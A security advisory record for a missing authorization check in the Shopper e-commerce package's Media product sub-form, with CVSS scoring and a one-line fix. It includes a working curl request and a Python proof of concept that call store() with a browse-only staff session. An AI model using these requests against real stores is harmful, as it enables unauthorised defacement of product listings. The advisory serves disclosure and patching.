CVE-2026-56830: Shopper Media Sub-form Store() Still Lacks Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-99h5-jhh7-v3r3",
  "modified" : "2026-09-11T21:30:14Z",
  "published" : "2026-09-11T21:30:14Z",
  "aliases" : [ "CVE-2026-56830" ],
  "summary" : "Shopper: Media sub-form store() still lacks authorization (Incomplete fix for GHSA-h4mp-g9c6-xwph)",
  "details" : "## Title\n\nMissing authorization on Media sub-form store action allows unpermissioned product media update\n\n## Description\n\nA lack of authorization control on the `store()` method was found in `packages/admin/src/Livewire/Components/Products/Form/Media.php`. The security fix released for GHSA-h4mp-g9c6-xwph added `#[Locked]` to the `$product` property in this file but did not add an `authorize()` call to `store()`. The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only `browse_products`, can invoke `store()` on this component to replace the thumbnail and gallery images for any product without holding `edit_products`. Because `$product` is now `#[Locked]`, the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N  Score: 6.5  (Medium)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76`\n\n```php\n// Lines 64-76 - store() with no authorize() call\npublic function store(): void\n{\n    $this->validate();\n\n    $this->product->update($this->form->getState());  // overwrites thumbnail + gallery media\n\n    $this->dispatch('product.updated');\n\n    Notification::make()\n        ->body(__('shopper::pages/products.notifications.media_update'))\n        ->success()\n        ->send();\n}\n```\n\nThe five sibling components that were fixed in commit fcd0c59 each now have:\n\n```php\npublic function store(): void\n{\n    $this->authorize('edit_products');  // present in Edit, Inventory, Seo, Shipping, Files\n    // ...\n}\n```\n\n`Media.store()` does not.\n\n## Steps to reproduce\n\nPrerequisites: an admin-panel account whose role holds `browse_products` but NOT `edit_products`.\n\n```bash\nSESSION=\"laravel_session=<your_session_value>\"\nXSRF=\"<url-decoded-XSRF-TOKEN-cookie-value>\"\n\n# Step 1: Load a product edit page as an admin to obtain the Media component's\n#         Livewire snapshot ID and the product's public ID.\n#         The component snapshot appears in the HTML source as data-livewire-snapshot.\n\n# Step 2: As the low-privilege browse-only session, call store() on the Media component,\n#         pointing at the captured component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d '{\n    \"components\": [{\n      \"snapshot\": \"<snapshot JSON from page source with product locked>\",\n      \"updates\": {},\n      \"calls\": [{\"path\":\"\",\"method\":\"store\",\"params\":[]}]\n    }]\n  }'\n# Expected: HTTP 200, product thumbnail and images updated without edit_products.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nMedia component authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  laravel_session cookie value (browse-only staff session)\n  XSRF_TOKEN      URL-decoded XSRF-TOKEN cookie value\n  SNAPSHOT_JSON   the full Livewire snapshot JSON string for the Media component\n                  (copy from data-livewire-snapshot in the product edit page source)\n\nThe snapshot already contains the locked product ID, so no ID substitution is needed.\nThe bypass is purely the missing authorize() on store().\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url = os.environ['BASE_URL']\nsession  = os.environ['SESSION_COOKIE']\nxsrf     = os.environ['XSRF_TOKEN']\nsnapshot = os.environ['SNAPSHOT_JSON']\n\nheaders = {\n    'Content-Type': 'application/json',\n    'Accept': 'text/html, application/xhtml+xml',\n    'X-XSRF-TOKEN': xsrf,\n    'Cookie': f'laravel_session={session}',\n    'X-Livewire': '1',\n}\n\npayload = {\n    'components': [{\n        'snapshot': snapshot,\n        'updates': {},\n        'calls': [{'path': '', 'method': 'store', 'params': []}]\n    }]\n}\n\nr = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)\nprint(f'Status: {r.status_code}')\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member with only `browse_products` can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Products/Form/Media.php\n\npublic function store(): void\n{\n    $this->authorize('edit_products');  // add this line\n\n    $this->validate();\n\n    $this->product->update($this->form->getState());\n\n    $this->dispatch('product.updated');\n\n    Notification::make()\n        ->body(__('shopper::pages/products.notifications.media_update'))\n        ->success()\n        ->send();\n}\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "shopper/framework"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.9.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/shopperlabs/shopper"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-11T21:30:14Z",
    "nvd_published_at" : null
  }
}